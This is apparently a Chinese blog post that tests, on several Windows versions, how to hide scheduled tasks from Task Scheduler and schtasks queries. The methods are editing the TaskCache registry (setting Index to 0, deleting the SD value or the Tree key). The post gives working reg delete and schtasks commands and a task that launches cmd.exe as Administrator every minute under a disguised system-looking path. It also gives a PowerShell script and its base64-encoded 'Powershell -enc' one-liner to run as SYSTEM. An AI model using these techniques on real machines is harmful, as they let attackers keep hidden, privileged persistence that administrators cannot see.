网上目前流行两种方案,一种是 非完全隐藏
与 完全隐藏
亲自测试了一下发现不同系统版本效果截然不同!
1. Windows 10 教育版
非完全隐藏方案
- 操作流程:
- 创建计划任务。
- 修改注册表Index值为0。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:无效
完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除注册表SD值。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
2. Windows Server 2012 R2 Datacenter
非完全隐藏方案
- 操作流程:
- 创建计划任务。
- 修改注册表Index值为0。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:
-
- 无效
- 当删除掉XML文件后计划任务都会删除,不再会起到作用。
完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除注册表SD值。(默认没有该值)
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:无效
自测有效方案 (1)
- 操作流程:
- 创建计划任务。
- 删除注册表项目
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
) (特别提示:如果你创建的计划任务路径是\Microsoft\Windows\VMwareTools
那么需要删除的路径就为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools
)reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools" /f
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
- 是否缺陷:当重启后则失效,所以该方案为半成品方案。
3. Windows Server 2008 R2 Standard
非完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除 XML 文件。
- 修改注册表Index值为0。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:无效
完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除 XML 文件。
- 删除注册表SD值。(默认没有该值)
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:无效
4. Windows Server 2016 Datacenter
非完全隐藏方案
- 操作流程:
- 创建计划任务。
- 修改注册表Index值为0。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除注册表SD值。(默认没有该值)
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
5. Windows Server 2019 Datacenter
非完全隐藏方案
- 操作流程:
- 创建计划任务。
- 修改注册表Index值为0。
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
完全隐藏方案
- 操作流程:
- 创建计划任务。
- 删除注册表SD值。(默认没有该值)
- 实现效果:
- 计划任务管理器不显示任务。
schtasks /query /tn \
不列出。
- 实验结果:有效
通用方案:
请将其中的绿色部分换成你的自定义计划任务位置。
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools" /f
脚本工具
- 创建你的计划任务
下面命令大概意思就是从每天的0点
以后每隔1分钟
以Administrator
权限启动一次C:\Windows\SYSTEM32\cmd.exe`
schtasks /CREATE /ru Administrator /RL HIGHEST /SC MINUTE /MO 1 /ST 00:00:00 /TN "\Microsoft\Windows\123456" /tr "C:\Windows\SYSTEM32\cmd.exe" /F
我们将会得到路径:`\Microsoft\Windows\123456`
- 运行下面代码输入上面得到的路径
源代码
$string={ function Hide-ScheduledTaskInRegistry { param ( [string]$TaskName ) Write-Host "[+] Hiding scheduled task in registry...[Index = 0]" #Write-Output "设置Index为0" reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree$TaskName" /f Write-Host "[+] Hiding scheduled task in registry...[DELETE SD]" #Write-Output "删除SD值" reg DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree$TaskName" /v SD /f } $TaskName = Read-Host("Input TaskName Path:(\Microsoft\Windows\VMwareTools)") Hide-ScheduledTaskInRegistry -TaskName $TaskName } $byteArray = [System.Text.UnicodeEncoding]::Unicode.GetBytes($string) $DeCode = [Convert]::ToBase64String( $byteArray ) Write-OutPut "Powershell -enc $Decode" > C:\base64.txt notepad.exe C:\base64.txt Start-Sleep -Milliseconds 1000 Remove-Item C:\base64.txt -Force
命令行代码(直接拿到cmd运行的)
Powershell -enc DQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAASABpAGQAZQAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsASQBuAFIAZQBnAGkAcwB0AHIAeQAgAHsADQAKACAAIAAgACAAIAAgACAAIABwAGEAcgBhAG0AIAAoAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABUAGEAcwBrAE4AYQBtAGUADQAKACAAIAAgACAAIAAgACAAIAApAA0ACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAWwArAF0AIABIAGkAZABpAG4AZwAgAHMAYwBoAGUAZAB1AGwAZQBkACAAdABhAHMAawAgAGkAbgAgAHIAZQBnAGkAcwB0AHIAeQAuAC4ALgBbAEkAbgBkAGUAeAAgAD0AIAAwAF0AIgANAAoAIAAgACAAIAAgACAAIAAgACMAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAL6Lbn9JAG4AZABlAHgAOk4wACIADQAKACAAIAAgACAAIAAgACAAIAByAGUAZwAgAGQAZQBsAGUAdABlACAAIgBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlACQAVABhAHMAawBOAGEAbQBlACIAIAAvAGYADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbACsAXQAgAEgAaQBkAGkAbgBnACAAcwBjAGgAZQBkAHUAbABlAGQAIAB0AGEAcwBrACAAaQBuACAAcgBlAGcAaQBzAHQAcgB5AC4ALgAuAFsARABFAEwARQBUAEUAIABTAEQAXQAiAA0ACgAgACAAIAAgACAAIAAgACAAIwBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAIFJkllMARAA8UCIADQAKACAAIAAgACAAIAAgACAAIAByAGUAZwAgAEQARQBMAEUAVABFACAAIgBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlACQAVABhAHMAawBOAGEAbQBlACIAIAAvAHYAIABTAEQAIAAvAGYADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAAkAFQAYQBzAGsATgBhAG0AZQAgAD0AIABSAGUAYQBkAC0ASABvAHMAdAAoACIASQBuAHAAdQB0ACAAVABhAHMAawBOAGEAbQBlACAAUABhAHQAaAAa/ygAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABWAE0AdwBhAHIAZQBUAG8AbwBsAHMAKQAiACkADQAKACAAIAAgACAASABpAGQAZQAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsASQBuAFIAZQBnAGkAcwB0AHIAeQAgAC0AVABhAHMAawBOAGEAbQBlACAAJABUAGEAcwBrAE4AYQBtAGUADQAKAA==
记得拿SYSTEM权限执行,否则将会如下:
我们使用
Psexec
得到一个SYSTEM
的 CMD窗口,命令:psexec -s -i cmd
得到结果如下:
自动去设置Index 和 删除SD ,如果没有SD则会删除失败,
Windows 10,Server 2016,Server 2019
存在SD的值。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容